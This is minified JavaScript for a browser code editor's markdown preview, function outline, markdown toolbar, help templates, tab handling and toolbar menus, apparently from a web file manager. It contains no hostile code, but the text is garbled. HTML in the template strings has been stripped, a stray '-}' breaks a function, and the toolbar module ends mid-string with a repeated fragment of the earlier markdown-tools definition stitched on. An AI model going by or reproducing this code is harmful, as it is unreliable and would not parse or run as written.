    ";if(-1!=e.html().indexOf(i)){var a=t(e),n=e.html();n=n.replace(i,a),e.html(n)}},a=function(){$(".edit_right_frame .markdown_menu a").die("click").live("click",function(e){stopPP(e);var t=$(this).parents(".right_main"),i=t.find("[data-link='"+$(this).attr("href")+"']");if(0!=i.length){var a=i.offset().top+t.scrollTop()-t.offset().top+"px";t.stop(!0).animate({scrollTop:a},100,"linear")}})},n=function(t,i){e.async("lib/markdown/highlight.min",function(){t.find("pre code").each(function(e,t){hljs.highlightBlock(t),"function"==typeof i&&i()})})},o=function(t,i){e.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(t[0],[{left:"$$",right:"$$",display:!0}]),$(".katex-display").parent().addClass("markdown-latex"),t.find(".language-latex,.language-math,.language-katex").each(function(){try{var e=katex.renderToString($(this).text());if("string"!=typeof e)return;e='
    '+e+"
    ",$(e).insertBefore($(this).parent()),$(this).parent().remove()}catch(t){}}),"function"==typeof i&&i()})},s=function(){var e="newfile",t=Editor.current().kod.filename;return""!=t&&(t=core.pathThis(t),e=t.substr(0,t.indexOf("."))),e},r=function(t){var i=e("./tpl/markdown_preview.html"),a=template.compile(i),n=a({addStyle:G.app_host+"static/js/lib/markdown/katex/katex.min.css",content:t,title:s(),black_theme:Editor.isBlackTheme()});return n=n.replace(/ data-link="#(.*?)">/g,'>')},l=function(e,t){var i=s()+"."+t;switch(t){case"html":$.htmlDownload(r(e),i);break;case"md":var a=Editor.current(),n=a.getValue();$.htmlDownload(n,i);break;case"pdf":$.htmlPrint(r(e));break;default:}};return function(){var s,c,d,p,u=!1,f=!1,h=function(){if(s=Editor.current(),s&&void 0!==s.focus){var e=s.kod.uuid;c=$("#"+e).parent().find(".markdown_preview"),d=$("#"+e).parent().find(".edit_right_frame .right_main"),v(),_(),a()}},m=function(t){e.async("lib/markdown/markdown-it.min",function(){if(c&&0!=c.length){var e=window.markdownit({html:!0,breaks:!0}),a=s.getValue(),r=e.render(a),l=$(".markdown_make_buffer");0==l.length&&($("").appendTo("body"),l=$(".markdown_make_buffer")),l.html(r),i(l),n(l,function(){c.html(l.html())}),(0==c.html().length||t===!0)&&c.html(l.html()),c.html(l.html()),o(l,function(){c.html(l.html()),l.remove(),w()})}})},_=function(){var e,t=function(){return!d.find(".preview_markdown_frame").hasClass("hidden")};s.session.on("changeScrollTop",function(){!f&&t()&&(u=!0,x(!0),clearTimeout(e),e=!1,e=setTimeout(function(){u=!1},1e3))}),s.on("change",function(){!f&&t()&&(u=!0,w(function(){x(!0),clearTimeout(e),e=!1,e=setTimeout(function(){u=!1},1e3)}))})},v=function(){return},g=[],b=[],y=function(){if(void 0!==s.kod.mode&&"markdown"==s.kod.mode){g=[];for(var e="\n...\n"+s.getValue(),t=0,i=window.markdownit(),a=i.parse(e,{references:{}}),n=["h1","h2","h3","h4","h5","h6"],o=0;a.length>o;o++)if($.inArray(a[o].tag,n)>=0&&"heading_open"==a[o].type){var r=s.session.documentToScreenPosition(a[o].map[0]-1,2),l=r.row*s.renderer.lineHeight;g.push({start:t,end:l,height:l-t}),t=l}}},k=function(){if(d&&0!=d.length){b=[];var e=0,t=d.scrollTop();c.find("h1,h2,h3,h4,h5,h6").each(function(){var i=$(this).position().top+t+parseInt($(this).css("margin-top"));b.push({start:e,end:i,height:i-e}),e=i})}},w=function(e){clearTimeout(p),p=!1,p=setTimeout(function(){y(),k(),"function"==typeof e&&e()},200)},x=function(e){var t=s.session.getScrollTop(),i=d.scrollTop(),a=function(e,t,i,a){for(var n,o=-1,s=0;e.length>s&&(o=s,n=e[s],!(e[s].end>t));s++);if(!(-1===o||o>=i.length)){var r=(t-n.start)/n.height,l=i[o],c=l.start+l.height*r;o==e.length-1&&t>=n.end-5&&(c=l.end),a(c)}};e?a(g,t,b,function(e){d.stop(!0).animate({scrollTop:e},100,"linear")}):i+d.height()>=d.prop("scrollHeight")-5?s.gotoLine(s.session.getLength()):a(b,i,g,function(e){s.session.setScrollTop(e)})};return h(),{refresh:m,refreshScroll:w,markdownMenu:t,markdown2html:r,markdownDownload:l}}}),define("app/src/edit/tpl/markdown_preview.html",[],'\n\n \n {{title}}\n\n\n\n\nPrint\n\n{{#content}}\n\n\n\n'),define("app/src/edit/function_list",[],function(){var e={php:[{reg:/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,reg_name:/.*function\s+(.*\))/,reg_index:1,type_extents:{function_value:/\s*(private|protected)\s*/,function_var:/\s*(public)\s*/},type:"function"},{reg:/\s*class\s+(\w*)\s*.*\{/g,reg_name:/\s*class\s+(\w*)\s*.*\{/,reg_index:1,type:"class"}],javascript:[{reg:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*(.*)/,reg_index:1,reg_name_all:[1,2],type:"function function_var"},{reg:/\s*function\s+([\w\s]+)\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*function\s+([\w\s]+)\s*(.*)/,reg_index:1,reg_name_all:[1,2],type:"function function_define"},{reg:/\s*([\w\.]+)\s*:\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*([\w\.]+)\s*:\s*function\s*(\([\w,\s\*\[\]\<\>&$]*\))/,reg_index:1,reg_name_all:[1,2],type:"function function_value"}],python:[{reg:/\s*class\s+(\w+)\s*\(/g,reg_name:/\s*class\s+(\w+)\s*\(/,reg_index:1,type:"class"},{reg:/\s*def\s+(\w+)\s*\(.*\)/g,reg_name:/\s*def\s+(\w+)\s*\(.*\)/,reg_index:1,type:"function"}],ruby:[{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"},{reg:/\s*def\s+(\w+)\s*/g,reg_name:/\s*def\s+(\w+)\s*/,reg_index:1,type:"function"}],golang:[{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"},{reg:/\s*func\s+(\w+)\s*.*\{/g,reg_name:/\s*func\s+(\w+)\s*/,reg_index:1,type:"function"}],java:[{reg:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/g,reg_name:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/,reg_index:3,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"}],csharp:[{reg:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/g,reg_name:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/,reg_index:2,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"}],actionscript:[{reg:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/g,reg_name:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/,reg_index:1,type:"function"},{reg:/\s*class\s+(\w+)\s*.*\{/g,reg_name:/\s*class\s+(\w+)\s*.*\{/,reg_index:1,type:"class"}],objectivec:[{reg:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/g,reg_name:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/,reg_index:1,type:"function"},{reg:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/g,reg_name:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/,reg_index:1,type:"function"},{reg:/@implementation\s+(\w*)/g,reg_name:/@implementation\s+(\w*)/,reg_index:1,type:"class"},{reg:/#pragma\s+(mark\s+)?(.*)/g,reg_name:/#pragma\s+(mark\s+)?(.*)/,reg_index:2,type:"mark"}],c_cpp:[{reg:/([\w*]+\s+)+\*?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,reg_name:/\s+(\w+)\s*\(/,reg_index:1,type:"function"},{reg:/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,reg_name:/\s*(\w+)::~?(\w+)\s*\(/,reg_index:2,type:"function function_define"},{reg:/\s*class\s+(\w+)\s*:/g,reg_name:/\s*class\s+(\w+)\s*:/,reg_index:1,type:"class"}]},t=function(e,t){var i=e.match(t.reg);if(i){for(var a=[],n=i.length,o=0,s=e,r=0;n>r;r++){var l={};l.the_match=i[r];var c=l.the_match.match(t.reg_name);if(c&&!(c.lengthf;f++)l.name+=c[u[f]]}o=o+d+l.the_match.length,s=e.substr(o),l.type=t.type,t.type_extents!==void 0&&$.each(t.type_extents,function(e,t){l.the_match.match(t)&&(l.type+=" "+e)}),a.push(l)}}return a}},i=function(i,a){if(void 0!==e[a]){for(var n=e[a],o=[],s=0;n.length>s;s++){var r=t(i,n[s]);r&&Array.prototype.push.apply(o,r)}o.sort(function(e,t){var i="pos_start";return e[i]=t[i]?1:void 0});for(var l=i.split("\n"),c=0,d=o[c],p=0,u=0;l.length>u&&d;u++){for(;d&&d.pos_start>=p&&d.pos_start<=p+l[u].length;)o[c].range={start:{row:u,column:d.pos_start-p},end:{row:u,column:d.pos_end-p}},c++,d=o[c];p=p+l[u].length+1}return o}},a=function(e){return e=e.replace(/[\r\n {]+/gi," "),e=e.replace(/"/gi,"'"),e=e.replace(/\/gi,">")};return function(t){var n="",o='
    No outline for the active view
    ',s=$("#"+t.kod.uuid).parent(),r=s.find(".function_search input"),l=s.find(".function_list_box"),c=function(){var e=Editor.current();if(!e||e.kod===void 0)return l.html(o),void 0;var t=function(e){var t=e.replace(/(^\s*)|(\s*$)/g,"");return t.replace(/(\{$)/,"")},s=e.kod.mode,c=i(e.getValue(),s);if(c===void 0||0==c.length)return l.html(o),void 0;var p=e.getCursorPosition().row;n="";for(var f=0;c.length>f;f++){var h=c[f],m=h.range;if(m){c.length-1>f&&p>=c[f].range.start.row&&c[f+1].range&&c[f+1].range.start.row>p&&(h.type+=" row_select"),f==c.length-1&&p>=c[f].range.start.row&&(h.type+=" row_select");var _=m.start.row+","+m.start.column+","+m.end.row+","+m.end.column,v=t(t(h.the_match)).substr(0,150);n+='
    '+''+''+a(h.name)+"
    "}}r.val()||d(r.val()),u()},d=function(e){if(""==n)return l.html(o),void 0;if(!e||""==e)return l.html(n),u(),void 0;var t=$("
    "+n+"
    ");t.find(".cell").each(function(){var t=$(this).text(),i=t.toLowerCase().indexOf(e.toLowerCase());-1!=i?(t=t.substr(0,i)+""+t.substr(i,e.length)+""+t.substr(i+e.length),$(this).html(t)):$(this).parent().remove()}),l.html(t.html()),p($(l.find(".list_row").get(0)))},p=function(e){if(1==e.length){l.find(".list_row").removeClass("row_select"),e.addClass("row_select");var t=e.attr("data-range"),i=t.split(","),a={start:{row:parseInt(i[0]),column:parseInt(i[1])},end:{row:parseInt(i[2]),column:parseInt(i[3])}};Editor.current()&&(Editor.current().revealRange(a),r.textFocus())}},u=function(){var e=l;if(e.outerHeight()!=e.prop("scrollHeight")){var t=e.scrollTop(),i=t+e.height(),a=e.find(".row_select").index(),n=e.find(".list_row:eq(0)").outerHeight(),o=e.scrollTop();t>a*n?o=a*n:(a+1)*n>i&&(o=a*n-e.height()+n),e.scrollTop(o)}},f=function(){var e="mouse_is_down";l.delegate(".list_row","mouseover mousedown mouseout mouseup",function(t){var i=$(this);switch(t.type){case"mouseover":i.parent().hasClass(e)?p(i):i.addClass("row_hover");break;case"mousedown":p(i),i.parent().addClass(e);break;case"mouseout":i.removeClass("row_hover");break;case"mouseup":i.parent().removeClass(e);break;default:}}),l.bind("mouseup",function(){r.textFocus()}),l.bind("mousedown",function(t){return 1!=t.which?!0:(l.setCapture&&l.setCapture(),$(document).one("mouseup",function(){l.removeClass(e),l.releaseCapture&&l.releaseCapture()}),void 0)});var t=function(){var e=r.val();d(e),""==e?s.find(".search_reset").addClass("hidden"):s.find(".search_reset").removeClass("hidden")};r.unbind("keydown").bind("keydown",function(e){switch(e.keyCode){case 37:break;case 39:break;case 38:0!=s.find(".row_select").prev().length&&(p(s.find(".row_select").prev()),u()),stopPP(e);break;case 40:0!=s.find(".row_select").next().length&&(p(s.find(".row_select").next()),u()),stopPP(e);break;case 27:case 13:p(s.find(".row_select")),r.val(""),t(),Editor.current()&&Editor.current().focus(),stopPP(e);break;default:setTimeout(t,5)}}),s.find(".search_reset").unbind("click").bind("click",function(){r.val(""),t(),Editor.current()&&Editor.current().focus()})};return f(),{refresh:c,support:function(t){return-1==$.inArray(t,objectKeys(e))?!1:!0}}}}),define("app/src/edit/markdownTools",[],function(){var e=function(){return Editor.current()},t={bold:{type:"inline",tag:"**",insert:"**${1:Bold Text}**",title:"Bold (Ctrl-B)","class":"bold"},italic:{type:"inline",tag:"*",insert:"*${1:Italic Text}*",title:"Italic (Ctrl-I)","class":"italic"},strikethrough:{type:"inline",tag:"~~",insert:"~~${1:Strikethrough Text}~~",title:"Strikethrough","class":"strikethrough"},h1:{type:"head",insert:"# ",title:"Header 1

    ","class":"text-height"},h2:{type:"head",insert:"## ",title:"Header 2

    "},h3:{type:"head",insert:"### ",title:"Header 3

    "},h4:{type:"head",insert:"#### ",title:"Header 4

    "},h5:{type:"head",insert:"###### ",title:"Header 5

    "},quote:{type:"head",insert:"> ",title:"Quote
    (Ctrl-Q)","class":"quote-left"},list_order:{type:"head",insert:" 1. ",title:"Unordered list
      (Ctrl-O)","class":"list-ol"},list_unorder:{type:"head",insert:" - ",title:"Ordered list
        (Ctrl-U)","class":"list-ul"},list_task:{type:"head",insert:"- [ ] ",title:"Incomplete task list","class":"check-empty"},list_task_complete:{type:"head",insert:"- [x] ",title:"Complete task list","class":"check"},line:{type:"insert",insert:"\n\n\n----\n$1",title:"Line
        ","class":"minus"},link:{type:"insert",insert:"[${1:}](http://$2)",title:"Link (Ctrl-L)","class":"link"},image:{type:"image",insert:"![${1:}](http://$2)",title:"Image (Ctrl-G)","class":"picture"},table:{type:"insert",insert:"\n\n\n| header 1 | header 2 |\n| ----------- | ----------- |\n| row 1 col 1 | row 1 col 2 |\n| row 2 col 1 | row 2 col 2 |\n\n",title:"Table ","class":"table"},code:{type:"inlineBlock",title:"Code
         (Ctrl-K)","class":"code",inline:{tag:"`",insert:"`${1:Code}`"},block:{tag:"\n```\n",insert:"\n```\n${1:code}\n```\n"}},math:{type:"inlineBlock",title:"Math (Ctrl-M)","class":"superscript",inline:{tag:"$$",insert:"$$${1:Math}$$"},block:{tag:"\n```\n",insert:"\n```math\n${1:}\n```\n"}}},i=function(e,t){var i=e.session.getTextRange(e.getSelectionRange()),a=t.insert;if(""!==i&&(a=a.replace(/\{1:.*\}/g,"{1:"+i+"}")),""!==i){var n=e.getSelectionRange(),o={start:{row:n.start.row,column:n.start.column-t.tag.length},end:n.start},s={start:n.end,end:{row:n.end.row,column:n.end.column+t.tag.length}};e.session.getTextRange(o)==t.tag&&e.session.getTextRange(s)==t.tag&&(e.selection.setSelectionRange({start:o.start,end:s.end}),a="${1:"+i+"}")
        -}ace.snippetManager.insertSnippet(e,a)},a=function(e,t){for(var i=e.getSelectionRange(),a=[],n=i.end.row-i.start.row+1,o=0,s=0;n>s;s++){var r={start:{row:i.start.row+s,column:0},end:{row:i.start.row+s,column:t.insert.length}};a.push(r),e.session.getTextRange(r)==t.insert&&o++}for(var s=0;n>s;s++){var l=a[s];n==o?e.session.doc.remove(l):e.session.doc.insert({row:l.start.row,column:0},t.insert)}},n=function(e,t){var i=e.session.getTextRange(e.getSelectionRange()),a=t.insert;""!==i&&(a=a.replace(/\{1:.*\}/g,"{1:"+i+"}")),ace.snippetManager.insertSnippet(e,a)},o=function(e,t){var a=e.session.getTextRange(e.getSelectionRange()),n=e.getSelectionRange(),o=e.session.getLine(n.start.row),s={type:"inline",tag:t.inline.tag,insert:t.inline.insert,title:t.title};(n.start.row!=n.end.row||a===o.replace(/(^\s*)|(\s*$)/g,""))&&(s={type:"inline",tag:t.block.tag,insert:t.block.insert,title:t.title}),i(e,s)},s=function(){var e=["bold","italic","strikethrough","|","h1","line","quote","list_order","list_unorder","|","link","image","code","table","math"],i="";return $.each(e,function(e,a){if("|"==a)i+="|";else{var n=t[a],o="class='md-tools md-tools-"+a+" "+(n["class"]?"icon-"+n["class"]:"")+"' ";i+=""}}),i},r=function(e){core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(t){core.fileLink(t,function(i){var a=core.pathThis(t),n="!["+a+"]("+i+")";ace.snippetManager.insertSnippet(e,n)})})},l=function(s){var l=t[s],c=e();if(l&&c){switch(l.type){case"inline":i(c,l,s);break;case"head":a(c,l,s);break;case"insert":n(c,l,s);break;case"inlineBlock":o(c,l,s);break;case"image":r(c);break;default:}e().focus()}},c=function(e){e.find(".md-tools[data-action]").bind("click",function(){var e=$(this).attr("data-action");l(e)})},d=function(e){$.each(t,function(i){var a=t[i];if(a.title&&a.title.match(/\((.*)\)/)){var n=a.title.match(/\((.*)\)/)[1],o=n.replace("Ctrl","Command");e.commands.addCommand({name:i,bindKey:{win:n,mac:o},exec:function(e){"ace/mode/markdown"==e.session.$modeId&&l(i)}})}})};return{bindEvent:function(e,t){e.find(".toolbar .content").html(s()),c(e),"ace/mode/markdown"==t.session.$modeId&&d(t)},doAction:l}}),define("app/src/edit/tpl/markdown_help_cn.html",[],'
        \n
        1.标题与文字格式
        \n

        标题

        \n
        \n# 一级标题\n## 二级标题\n### 三级标题\n#### 四级标题\n##### 五级标题\n
        \n

        文字格式

        \n
        \n*斜体*\n**粗体**\n***粗斜体*** \n~~删除线~~\n
        \n

        水平线

        \n
        \n--- \n
        \n了解更多\n
        \n\n
        \n
        2.列表
        \n

        无序列表

        \n
        \n- item 1\n- item 2\n* item 3\n(可以是[减号,星号,加号]+空格)\n
        \n

        有序列表

        \n
        \n1. item 1 [数字+空格]\n2. item 2\n3. item 3\n   - child 1\n   - child 2\n
        \n
        \n\n
        \n
        3.其他
        \n

        图片

        \n
        \n![图片名称](http://图片网址)\n
        \n\n

        连接

        \n
        \n[链接名称](http://链接网址)\n<http://链接网址>\n
        \n\n

        引用

        \n
        \n> 引用\n> 折行可以不加,新起一行要加\n
        \n\n

        代码

        \n
        \n行内代码:`code`\n```\nvar msg = "多行代码";\nalert(msg);\n```\n
        \n\n

        公式

        \n
        \n行内公式 $$E=mc^2$$ ;\n\n多行公式\n$$E=mc^2$$\n\n多行公式2\n```math\nE=mc^2\n```\n
        \n编辑器\n | 公式教程\n
        \n'),define("app/src/edit/tpl/markdown_help.html",[],'
        \n
        1.Headers and Emphasis
        \n

        Headers

        \n
        \n# Header 1\n## Header 2\n### Header 3\n#### Header 4\n##### Header 5\n
        \n

        Emphasis

        \n
        \n*Emphasis*\n**Strong**\n***Emphasis Strong*** \n~~Strikethrough~~\n
        \n

        Line

        \n
        \n--- \n
        \nLearn More\n
        \n\n
        \n
        2.Lists
        \n

        Unordered list

        \n
        \n- item 1\n- item 2\n* item 3\n(also[- ,* ,+ )\n
        \n

        Ordered list

        \n
        \n1. item 1\n2. item 2\n3. item 3\n   - child 1\n   - child 2\n
        \n
        \n\n
        \n
        3.Others
        \n

        Image

        \n
        \n![Alt text](http://img.png)\n
        \n\n

        Links

        \n
        \n[Link text](http://url)\n<http://url>\n
        \n\n

        Blockquotes

        \n
        \n> Are you \n> ok ?\n
        \n\n

        Code

        \n
        \ninline code:`code`\n```\nvar msg = "Block code";\nalert(msg);\n```\n
        \n\n

        LaTeX Math

        \n
        \ninline $$E=mc^2$$ ;\n\nblock\n$$E=mc^2$$\n\nblock2\n```math\nE=mc^2\n```\n
        \nMath Editor \n
        \n'),define("app/src/edit/tpl/edit_tab_content.html",[],'
        \n
        \n	\n	\n
        \n\n'),define("app/src/edit/taskTap",[],function(){var e=function(){$(".edit_tab .tab").live("mouseenter",function(){$(this).addClass("hover"),$(this).unbind("mousedown").mousedown(function(e){1!=e.which||$(this).hasClass("this")||$.nodeName(e.target,"A")||($(this).removeClass("hover").addClass("this"),Editor.select($(this).attr("uuid")))}).unbind("mouseup").mouseup(function(e){2==e.which&&Editor.remove($(this).attr("uuid"))})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")}).die("dblclick").live("dblclick",function(e){stopPP(e)}),$(".edit_tab").die("dblclick").live("dblclick",function(e){Editor.add(),stopPP(e)}),$(".edit_tab .tab .close").live("click",function(){var e=$(this).parent().attr("uuid");Editor.remove(e)})},t=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},i=function(){$("body").click(t).contextmenu(t),$.contextMenu({zIndex:9999,selector:".edit_tab_menu",items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"---------",close:{name:LNG.close,icon:"remove",accesskey:"d"},close_left:{name:LNG.close_left,icon:"remove-sign",accesskey:"l"},close_right:{name:LNG.close_right,icon:"remove-sign",accesskey:"r"},close_others:{name:LNG.close_others,icon:"remove-circle",accesskey:"o"},sep2:"--------",open_the_path:{name:LNG.open_the_path,icon:"plus",accesskey:"n"},preview:{name:LNG.preview,icon:"globe",accesskey:"p"}},callback:function(e,t){var i=t.$trigger,a=i.attr("uuid");switch(e){case"refresh":Editor.refresh(a);break;case"close":Editor.remove(a);break;case"close_left":var n=$(".edit_tab .tabs .tab").index(i);$(".edit_tab .tabs .tab:lt("+n+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close_right":var n=$(".edit_tab .tabs .tab").index(i);$(".edit_tab .tabs .tab:gt("+n+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close_others":$(".edit_tab .tabs .tab").each(function(){var e=$(this).attr("uuid");e!=a&&Editor.remove(e)});break;case"open_the_path":var o=i.attr("title");if(""==o)return Tips.tips(LNG.not_exists,"warning"),void 0;var s=core.pathFather(o),r=ShareData.frameTop();r.core.openPath(s);break;case"preview":Toolbar.doAction("preview");break;default:}}})},a=function(){var e,t,i,a,n=!1,o=!1,s=0,r=0,l=0,c=0,d=0,p=0,u=0,f=0;$(".edit_tab .tab").die("mousedown").live("mousedown",function(t){$.nodeName(t.target,"A")||(e=$.nodeName(t.target,"SPAN")?$(t.target).parent():$(this),1==t.which&&(n=!0,this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(e){v(e),this.releaseCapture&&this.releaseCapture()})))});var h=function(a){o=!0,s=a.pageX,l=a.pageY,$tab_parent=$(".edit_tab"),t=$(".edit_tab .tab"),$(".draggable-dragging").remove(),i=e.clone().addClass("draggable-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),r=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width")),c=$sizeInt(t.css("height"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),h=a.clientX-s+r;$("body").prepend("
        "),i.css({width:d+"px",top:n,left:h}),e.css("opacity",0)},m=function(a){if(n){0==o&&h(a);var u=a.clientX-s+r,f=a.clientY-l+c;i.css({left:u,top:f}),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(u>t&&t+d/2+p>u){if(e.attr("uuid")==$(this).attr("uuid"))return;_($(this).attr("uuid"),"left")}if(u>t-d/2+p&&t>u){if(e.attr("uuid")==$(this).attr("uuid"))return;_($(this).attr("uuid"),"right")}})}},_=function(i,n){if(!e.is(":animated")||a!=i){a=i,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".edit_tab .tab");var o=e.width(),s=$(".edit_tab .tab_"+i),r=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(s).css("width","0px"):(e.before(s).css("width","0px"),s.before(r)),e.animate({width:o+"px"},animate_time),r.animate({width:"0px"},animate_time,function(){$(this).remove(),t=$(".edit_tab .tab")})}},v=function(){if(n=!1,o=!1,startTime=0,$(".dragMaskView").remove(),Editor.current()&&Editor.current().focus(),void 0!=i){var t=e.get(0).getBoundingClientRect().left,a=e.get(0).getBoundingClientRect().top;i.animate({left:t+"px",top:a+"px"},animate_time,function(){e.css("opacity",1),$(this).remove()})}}},n=function(e,t,i){"remove"==e&&t.removeClass("edit_tab_menu");var a=1.4*animate_time,n=150,o=n,s=$(".edit_tab .tab.edit_tab_menu"),r=$sizeInt($(".edit_tab .tabs").width()),l=$sizeInt(s.css("margin-right"))+$sizeInt(s.css("border-right")),c=$sizeInt($(".edit_tab .add").css("width"))+30,d=s.length,p=Math.floor((r-c)/(n+l));switch(d>p&&(o=Math.floor((r-c)/d)-l),e){case"add":$(".edit_tab .tabs .this").css({"margin-top":"30px",width:o}).stop(1,1).animate({"margin-top":"0px"},a),s.animate({width:o+"px"},a);break;case"remove":void 0!=i&&Editor.select(i),t.stop(1,1).animate({width:"0","margin-top":"+=30"},a,function(){t.remove()}),s.stop(1,1).animate({width:o+"px"},a);break;case"resize":s.css("width",o+"px");break;default:}};return{rightMenu:{hidden:t},resetWidth:n,init:function(){e(),a(),i()}}}),define("app/src/edit/toolbar",[],function(){var e=function(){i(),$(".toolMenu").bind("click mouseup",stopPP),$(".toolMenu").on("mousedown",function(){$(".toolMenu").removeClass("select"),$(this).addClass("select"),$(this).contextMenu({action:e})});var e=function(e,t){if(t.parent().hasClass("top_toolbar"))e.css({left:t.offset().left-4,top:t.outerHeight()-1});else if(t.parent().hasClass("bottom_toolbar")){var i=t.offset().left-e.outerWidth()+t.outerWidth()-5;e.css({left:i,top:t.offset().top-e.outerHeight()})}e.find("input").length>=1&&setTimeout(function(){e.find("input").focus()},10)};$.contextMenu({selector:".menuViewGotoline",trigger:"none",callback:n,items:{gotoline:{name:LNG.goto,className:"disable gotoline_input",type:"text"}}}),$.contextMenu({selector:".menuViewTab",trigger:"none",callback:n,items:{soft_tab:{name:"Soft Tabs (spaces)",className:"soft_tab"},sep1:"---------",tab_size_2:{name:"Tab with:2",className:"tab_size_set tab_size_2"},tab_size_3:{name:"Tab with:3",className:"tab_size_set tab_size_3"},tab_size_4:{name:"Tab with:4",className:"tab_size_set tab_size_4"},tab_size_8:{name:"Tab with:8",className:"tab_size_set tab_size_8"},sep2:"---------",convert_to_space:{name:"Convert To Space",className:"convert_to_space"},convert_to_tab:{name:"Convert To Tabs",className:"convert_to_tab"}}});for(var t=G.code_font_all.split(","),a={},s=0;t.length>s;s++){var r=t[s],l=replaceAll(r," ","_");a["set_font_family_"+r]={name:r,className:"set_font_family_"+l}}$.contextMenu({selector:".menuViewSetting",trigger:"none",callback:n,items:{tools:{name:LNG.tools,icon:"ellipsis-horizontal",accesskey:"m",items:{preview:{name:LNG.preview+"Ctrl+Shift+S",icon:"edit"},open_ie:{name:LNG.open_ie,icon:"external-link",accesskey:"b"},sep1:"---------",beautify_html:{name:"html "+LNG.beautify_code,icon:"angle-right"},beautify_css:{name:"css "+LNG.beautify_code,icon:"angle-right"},beautify_js:{name:"js "+LNG.beautify_code,icon:"angle-right"},sep10:"---------",beautify_php:{name:"php "+LNG.beautify_code,icon:"angle-right"}}},sep1:"---------",function_list:{name:LNG.function_list+"Ctrl+Shift+E",className:"function_list"},show_gutter:{name:LNG.show_gutter,className:"show_gutter"},auto_wrap:{name:LNG.wordwrap,className:"auto_wrap"},display_char:{name:LNG.char_all_display,className:"display_char"},sep2:"---------",font_family:{name:LNG.font_family,icon:"italic",className:"code_font_family_list",accesskey:"m",items:a},ace_mode:{name:LNG.keyboard_type,icon:"code",accesskey:"m",items:{keyboard_type_ace:{name:"Default",className:"keyboard_type_ace"},keyboard_type_vim:{name:"vim",className:"keyboard_type_vim"},keyboard_type_emacs:{name:"emacs",className:"keyboard_type_emacs"}}},sep3:"---------",help:{name:LNG.help,icon:"question",items:{shortcut:{name:LNG.shortcut,icon:"keyboard"},about:{name:LNG.about,icon:"info-sign"},emmet:{name:"Emmet help",icon:"code"},sep4:"-----------",learnMore:{name:LNG.learn_more,icon:"external-link"}}}}}),$(".tools [action]").bind("click",function(e){var t=$(this).attr("action");return n(t),Editor.current()&&Editor.current().focus(),stopPP(e),!1}),$(".tab_size_set").click(function(){var e=$(this).text().split(":");Editor.saveConfig("tab_size",e[1]),Editor.current()&&Editor.current().focus(),Editor.current().execCommand("convertIndent","reset_size")}),$("ul.code_font_family_list .context-menu-item").click(function(){Editor.saveConfig("font_family",$(this).find("span").html(),""),Editor.current()&&Editor.current().focus(),o()}),$("body").click(function(e){try{$(".toolMenu").removeClass("select"),window.parent.rightMenu.hidden(),e&&$(e.target).is("textarea")||$(e.target).is("input")||0!=$(e.target).parents(".right_main").length||Editor.current()&&Editor.current().focus()}catch(e){}}),$(".tools a,.preview_tool a").tooltip({placement:"bottom"}),$(".gotoline_input input").keyup(function(){Editor.current().gotoLine($(this).val())})},t=function(){var e=Editor.aceModeList.modes,t='
        ","class":"table"},code:{type:"inlineBlock",title:"Code
         (Ctrl-K)","class":"code",inline:{tag:"`",insert:"`${1:Code}`"},block:{tag:"\n```\n",insert:"\n```\n${1:code}\n```\n"}},math:{type:"inlineBlock",title:"Math (Ctrl-M)","class":"superscript",inline:{tag:"$$",insert:"$$${1:Math}$$"},block:{tag:"\n```\n",insert:"\n```math\n${1:}\n```\n"}}},i=function(e,t){var i=e.session.getTextRange(e.getSelectionRange()),a=t.insert;
